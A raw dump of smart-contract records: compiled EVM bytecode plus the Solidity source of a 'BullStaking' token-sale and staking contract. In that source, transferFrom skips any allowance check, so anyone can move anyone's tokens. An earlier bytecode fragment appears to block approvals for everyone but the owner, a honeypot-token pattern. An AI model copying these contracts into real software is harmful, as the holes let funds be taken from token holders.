0505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b60006105036104fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610524848484610c6f565b6105e584610530610948565b6105e0856040518060600160405280602881526020016110b960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610c6f565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061112a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110976022913960400191505060405180910390fd5b610a646107d8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610b83576000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a3610c6a565b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110726025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806111076023913960400191505060405180910390fd5b610de7816040518060600160405280602681526020016110e160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7c81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe990919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f9b578082015181840152602081019050610f80565b50505050905090810190601f168015610fc85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a264697066735822122074b4b44c50e7fc70f777799e31c3f6040dbd65efd354e9a61bc8f3d913f9bd7164736f6c634300060c0033
{"success": true, "error": null, "results": {}}
3,849
0xf9c04ec24d9d0dcf86c0186a363de404f5d5e778
//SPDX-License-Identifier: UNLICENSED pragma solidity ^0.6.0; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; constructor (string memory name, string memory symbol) public { _name = name; _symbol = symbol; _decimals = 18; } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(msg.sender, recipient, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); return true; } function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } } contract BullStaking is IERC20 { using SafeMath for uint256; mapping (address => uint256) private _stakes; address public owner = msg.sender; address public tokenAddress; uint public stakingStarts; uint public stakingEnds; uint public withdrawStarts; uint public withdrawEnds; uint256 public stakedTotal; uint256 public stakingCap; uint256 public totalReward; uint256 public earlyWithdrawReward; uint256 public rewardBalance; uint256 public stakedBalance; address payable ethFund = 0xB205238e2eCb8462d5D826E28DCd2aCe0BF811a4; ERC20 public ERC20Interface; event Staked(address indexed token, address indexed staker_, uint256 requestedAmount_, uint256 stakedAmount_); event PaidOut(address indexed token, address indexed staker_, uint256 amount_, uint256 reward_); event Refunded(address indexed token, address indexed staker_, uint256 amount_); using SafeMath for uint256; mapping (address => uint256) private _balances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; uint256 public price; uint256 public sold = 0; bool public distributionFinished = false; bool public distribution_ongoing = false; uint256 public tokensPerEth = 60000e18; constructor (string memory name, string memory symbol, address payable _ethFund, uint256 _tokensPerEth) public { tokensPerEth = _tokensPerEth*1e18; price = SafeMath.div(1e18, SafeMath.div(tokensPerEth, 1e18)); _name = name; _symbol = symbol; ethFund = _ethFund; _decimals = 18; _totalSupply = 100000000e18; owner = msg.sender; _balances[owner] = _balances[owner].add(_totalSupply); } modifier saleHappening { require(distribution_ongoing == true, "distribution started"); require(sold <= _totalSupply, "tokens sold out"); _; } function tokenSaleStarted() public view returns (bool) { return distribution_ongoing; } function startSale() public onlyOwner { distribution_ongoing = true; } function endSale() public onlyOwner { distribution_ongoing = false; } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(msg.sender, recipient, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); return true; } function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } function finishDistribution() onlyOwner canDistr public returns (bool) { distributionFinished = true; return true; } function distr(address _to, uint256 _amount) canDistr private returns (bool) { _balances[owner] = _balances[owner].sub(_amount); _balances[_to] = _balances[_to].add(_amount); return true; } modifier onlyOwner() { require(msg.sender == owner); _; } modifier canDistr() { require(!distributionFinished); _; } receive () external payable saleHappening { uint excessAmount = msg.value % price; uint purchaseAmount = SafeMath.sub(msg.value, excessAmount); uint tokenPurchase = SafeMath.div(SafeMath.mul(purchaseAmount,1e18), price); uint total_token = tokenPurchase; sold= SafeMath.add(sold, total_token); assert(sold <= _totalSupply); ethFund.transfer(msg.value); assert(distr(msg.sender, total_token)); } function init_staking( address tokenAddress_, uint stakingEnds_, uint withdrawStarts_, uint256 stakingCap_ ) public onlyOwner { require(tokenAddress_ != address(0), "BullStaking: 0 address"); tokenAddress = tokenAddress_; stakingStarts = now; require(stakingEnds_ > 0, "BullStaking: staking end must be positive"); stakingEnds = now + stakingEnds_; require(withdrawStarts_ >= stakingEnds_, "Bulltaking: withdrawStarts must be after staking ends"); withdrawStarts = withdrawStarts_; withdrawEnds = withdrawStarts + 180 days; // 6 months to withdraw reward require(stakingCap_ > 0, "BullStaking: stakingCap must be positive"); stakingCap = stakingCap_; } function addReward(uint256 rewardAmount, uint256 withdrawableAmount) public returns (bool) { require(rewardAmount > 0, "BullStaking: reward must be positive"); require(withdrawableAmount >= 0, "BullStaking: withdrawable amount cannot be negative"); require(withdrawableAmount <= rewardAmount, "BullStaking: withdrawable amount must be less than or equal to the reward amount"); address from = msg.sender; if (!_payMe(from, rewardAmount)) { return false; } totalReward = totalReward.add(rewardAmount); rewardBalance = totalReward; earlyWithdrawReward = earlyWithdrawReward.add(withdrawableAmount); return true; } function stakeOf(address account) public view returns (uint256) { return _stakes[account]; } function stake(uint256 amount) public _positive(amount) _realAddress(msg.sender) returns (bool) { address from = msg.sender; return _stake(from, amount); } function withdraw(uint256 amount) public _after(withdrawStarts) _positive(amount) _realAddress(msg.sender) returns (bool) { address from = msg.sender; require(amount <= _stakes[from], "BullStaking: not enough balance"); if (now < withdrawEnds) { return _withdrawEarly(from, amount); } else { return _withdrawAfterClose(from, amount); } } function _withdrawEarly(address from, uint256 amount) private _realAddress(from) returns (bool) { // The formula to calculate reward: // r = (earlyWithdrawReward / stakedTotal) * (now - stakingEnds) / (withdrawEnds - stakingEnds) // w = (1+r) * a uint256 denom = (withdrawEnds.sub(stakingEnds)).mul(stakedTotal); uint256 reward = ( ( (now.sub(stakingEnds)).mul(earlyWithdrawReward) ).mul(amount) ).div(denom); uint256 payOut = amount.add(reward); rewardBalance = rewardBalance.sub(reward); stakedBalance = stakedBalance.sub(amount); _stakes[from] = _stakes[from].sub(amount); if (_payDirect(from, payOut)) { emit PaidOut(tokenAddress, from, amount, reward); return true; } return false; } function _withdrawAfterClose(address from, uint256 amount) private _realAddress(from) returns (bool) { uint256 reward = (rewardBalance.mul(amount)).div(stakedBalance); uint256 payOut = amount.add(reward); _stakes[from] = _stakes[from].sub(amount); if (_payDirect(from, payOut)) { emit PaidOut(tokenAddress, from, amount, reward); return true; } return false; } function _stake(address staker, uint256 amount) private _after(stakingStarts) _before(stakingEnds) _positive(amount) returns (bool) { amount = amount*1e18; uint256 remaining = amount; if (remaining > (stakingCap.sub(stakedBalance))) { remaining = stakingCap.sub(stakedBalance); } require(remaining > 0, "BullStaking: Staking cap is filled"); require((remaining + stakedTotal) <= stakingCap, "BullStaking: this will increase staking amount pass the cap"); if (!_payMe(staker, remaining)) { return false; } emit Staked(tokenAddress, staker, amount, remaining); if (remaining < amount) { uint256 refund = amount.sub(remaining); if (_payTo(staker, staker, refund)) { emit Refunded(tokenAddress, staker, refund); } } stakedBalance = stakedBalance.add(remaining); stakedTotal = stakedTotal.add(remaining); _stakes[staker] = _stakes[staker].add(remaining); return true; } function _payMe(address payer, uint256 amount) private returns (bool) { return _payTo(payer, address(this), amount); } function _payTo(address allower, address receiver, uint256 amount) private returns (bool) { ERC20Interface = ERC20(tokenAddress); return ERC20Interface.transferFrom(allower, receiver, amount); } function _payDirect(address to, uint256 amount) private _positive(amount) returns (bool) { ERC20Interface = ERC20(tokenAddress); return ERC20Interface.transfer(to, amount); } modifier _realAddress(address addr) { require(addr != address(0), "BullStaking: zero address"); _; } modifier _positive(uint256 amount) { require(amount >= 0, "BullStaking: negative amount"); _; } modifier _after(uint eventTime) { require(now >= eventTime, "BullStaking: bad timing for the request"); _; } modifier _before(uint eventTime) { require(now < eventTime, "BullStaking: bad timing for the request"); _; } }
0x6080604052600436106101fd5760003560e01c8063750142e61161010d578063a9059cbb116100a0578063c108d5421161006f578063c108d54214610bea578063cbdd69b514610c19578063d66692a714610c44578063eacebf6114610c6f578063f114589714610c9a576103e8565b8063a9059cbb14610b0a578063aa5c3ab414610b7d578063b410e2a114610ba8578063b66a0e5d14610bd3576103e8565b80639b1cbccc116100dc5780639b1cbccc14610a065780639d76ea5814610a35578063a035b1fe14610a8c578063a694fc3a14610ab7576103e8565b8063750142e61461089757806375c93bb9146108c25780638da5cb5b1461091f57806395d89b4114610976576103e8565b8063313ce56711610190578063426233601161015f578063426233601461074c57806344c370d3146107b15780635b9f0016146107dc5780636d68c7d41461080757806370a0823114610832576103e8565b8063313ce567146106aa57806333a543ce146106db578063380d831b1461070a5780633f7fd60a14610721576103e8565b806321b13cdf116101cc57806321b13cdf1461052a57806323b872dd1461055557806329f4136b146105e85780632e1a7d4d14610657576103e8565b806302c7e7af146103ed57806306fdde031461041857806318160ddd146104a85780631bbc4b83146104d3576103e8565b366103e85760011515601660019054906101000a900460ff1615151461028b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f646973747269627574696f6e207374617274656400000000000000000000000081525060200191505060405180910390fd5b6010546015541115610305576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600f8152602001807f746f6b656e7320736f6c64206f7574000000000000000000000000000000000081525060200191505060405180910390fd5b6000601454348161031257fe5b06905060006103213483610cc9565b9050600061034261033a83670de0b6b3a7640000610d13565b601454610d99565b9050600081905061035560155482610de3565b601581905550601054601554111561036957fe5b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc349081150290604051600060405180830381858888f193505050501580156103d1573d6000803e3d6000fd5b506103dc3382610e6b565b6103e257fe5b50505050005b600080fd5b3480156103f957600080fd5b50610402610fff565b6040518082815260200191505060405180910390f35b34801561042457600080fd5b5061042d611005565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561046d578082015181840152602081019050610452565b50505050905090810190601f16801561049a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156104b457600080fd5b506104bd6110a7565b6040518082815260200191505060405180910390f35b3480156104df57600080fd5b506104e86110b1565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561053657600080fd5b5061053f6110d7565b6040518082815260200191505060405180910390f35b34801561056157600080fd5b506105ce6004803603606081101561057857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506110dd565b604051808215151515815260200191505060405180910390f35b3480156105f457600080fd5b506106556004803603608081101561060b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919080359060200190929190803590602001909291905050506110f5565b005b34801561066357600080fd5b506106906004803603602081101561067a57600080fd5b8101908080359060200190929190505050611370565b604051808215151515815260200191505060405180910390f35b3480156106b657600080fd5b506106bf6115d5565b604051808260ff1660ff16815260200191505060405180910390f35b3480156106e757600080fd5b506106f06115ec565b604051808215151515815260200191505060405180910390f35b34801561071657600080fd5b5061071f611603565b005b34801561072d57600080fd5b5061073661167a565b6040518082815260200191505060405180910390f35b34801561075857600080fd5b5061079b6004803603602081101561076f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611680565b6040518082815260200191505060405180910390f35b3480156107bd57600080fd5b506107c66116c8565b6040518082815260200191505060405180910390f35b3480156107e857600080fd5b506107f16116ce565b6040518082815260200191505060405180910390f35b34801561081357600080fd5b5061081c6116d4565b6040518082815260200191505060405180910390f35b34801561083e57600080fd5b506108816004803603602081101561085557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506116da565b6040518082815260200191505060405180910390f35b3480156108a357600080fd5b506108ac611723565b6040518082815260200191505060405180910390f35b3480156108ce57600080fd5b50610905600480360360408110156108e557600080fd5b810190808035906020019092919080359060200190929190505050611729565b604051808215151515815260200191505060405180910390f35b34801561092b57600080fd5b5061093461189e565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561098257600080fd5b5061098b6118c4565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156109cb5780820151818401526020810190506109b0565b50505050905090810190601f1680156109f85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b348015610a1257600080fd5b50610a1b611966565b604051808215151515815260200191505060405180910390f35b348015610a4157600080fd5b50610a4a6119fe565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610a9857600080fd5b50610aa1611a24565b6040518082815260200191505060405180910390f35b348015610ac357600080fd5b50610af060048036036020811015610ada57600080fd5b8101908080359060200190929190505050611a2a565b604051808215151515815260200191505060405180910390f35b348015610b1657600080fd5b50610b6360048036036040811015610b2d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611b61565b604051808215151515815260200191505060405180910390f35b348015610b8957600080fd5b50610b92611b78565b6040518082815260200191505060405180910390f35b348015610bb457600080fd5b50610bbd611b7e565b6040518082815260200191505060405180910390f35b348015610bdf57600080fd5b50610be8611b84565b005b348015610bf657600080fd5b50610bff611bfb565b604051808215151515815260200191505060405180910390f35b348015610c2557600080fd5b50610c2e611c0e565b6040518082815260200191505060405180910390f35b348015610c5057600080fd5b50610c59611c14565b6040518082815260200191505060405180910390f35b348015610c7b57600080fd5b50610c84611c1a565b6040518082815260200191505060405180910390f35b348015610ca657600080fd5b50610caf611c20565b604051808215151515815260200191505060405180910390f35b6000610d0b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c33565b905092915050565b600080831415610d265760009050610d93565b6000828402905082848281610d3757fe5b0414610d8e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180612e8e6021913960400191505060405180910390fd5b809150505b92915050565b6000610ddb83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611cf3565b905092915050565b600080828401905083811015610e61576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b6000601660009054906101000a900460ff1615610e8757600080fd5b610efb82600f6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610cc990919063ffffffff16565b600f6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610fb282600f60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610de390919063ffffffff16565b600f60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001905092915050565b60155481565b606060118054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561109d5780601f106110725761010080835404028352916020019161109d565b820191906000526020600020905b81548152906001019060200180831161108057829003601f168201915b5050505050905090565b6000601054905090565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60055481565b60006110ea848484611db9565b600190509392505050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461114f57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614156111f2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260168152602001807f42756c6c5374616b696e673a203020616464726573730000000000000000000081525060200191505060405180910390fd5b83600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055504260038190555060008311611293576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526029815260200180612f076029913960400191505060405180910390fd5b824201600481905550828210156112f5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526035815260200180612f526035913960400191505060405180910390fd5b8160058190555062ed4e006005540160068190555060008111611363576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526028815260200180612dcb6028913960400191505060405180910390fd5b8060088190555050505050565b6000600554804210156113ce576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526027815260200180612df36027913960400191505060405180910390fd5b826000811015611446576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f42756c6c5374616b696e673a206e6567617469766520616d6f756e740000000081525060200191505060405180910390fd5b33600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156114ea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260198152602001807f42756c6c5374616b696e673a207a65726f20616464726573730000000000000081525060200191505060405180910390fd5b60003390506000808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548611156115a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f42756c6c5374616b696e673a206e6f7420656e6f7567682062616c616e63650081525060200191505060405180910390fd5b6006544210156115bf576115b7818761207e565b9450506115cd565b6115c9818761233d565b9450505b505050919050565b6000601360009054906101000a900460ff16905090565b6000601660019054906101000a900460ff16905090565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461165d57600080fd5b6000601660016101000a81548160ff021916908315150217905550565b600a5481565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60085481565b600c5481565b60035481565b6000600f60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60095481565b6000808311611783576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180612e1a6024913960400191505060405180910390fd5b60008210156117dd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526033815260200180612ed46033913960400191505060405180910390fd5b82821115611836576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526050815260200180612e3e6050913960600191505060405180910390fd5b60003390506118458185612571565b611853576000915050611898565b61186884600954610de390919063ffffffff16565b600981905550600954600b8190555061188c83600a54610de390919063ffffffff16565b600a8190555060019150505b92915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b606060128054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561195c5780601f106119315761010080835404028352916020019161195c565b820191906000526020600020905b81548152906001019060200180831161193f57829003601f168201915b5050505050905090565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146119c257600080fd5b601660009054906101000a900460ff16156119dc57600080fd5b6001601660006101000a81548160ff0219169083151502179055506001905090565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60145481565b6000816000811015611aa4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f42756c6c5374616b696e673a206e6567617469766520616d6f756e740000000081525060200191505060405180910390fd5b33600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611b48576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260198152602001807f42756c6c5374616b696e673a207a65726f20616464726573730000000000000081525060200191505060405180910390fd5b6000339050611b578186612586565b9350505050919050565b6000611b6e338484611db9565b6001905092915050565b600b5481565b60045481565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611bde57600080fd5b6001601660016101000a81548160ff021916908315150217905550565b601660009054906101000a900460ff1681565b60175481565b60075481565b60065481565b601660019054906101000a900460ff1681565b6000838311158290611ce0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611ca5578082015181840152602081019050611c8a565b50505050905090810190601f168015611cd25780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b60008083118290611d9f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611d64578082015181840152602081019050611d49565b50505050905090810190601f168015611d915780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581611dab57fe5b049050809150509392505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611e3f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612eaf6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611ec5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612d476023913960400191505060405180910390fd5b611ed08383836129f1565b611f3c81604051806060016040528060268152602001612da560269139600f60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c339092919063ffffffff16565b600f60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611fd181600f60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610de390919063ffffffff16565b600f60008473ffffffffffffffffffffffffffffffffffffff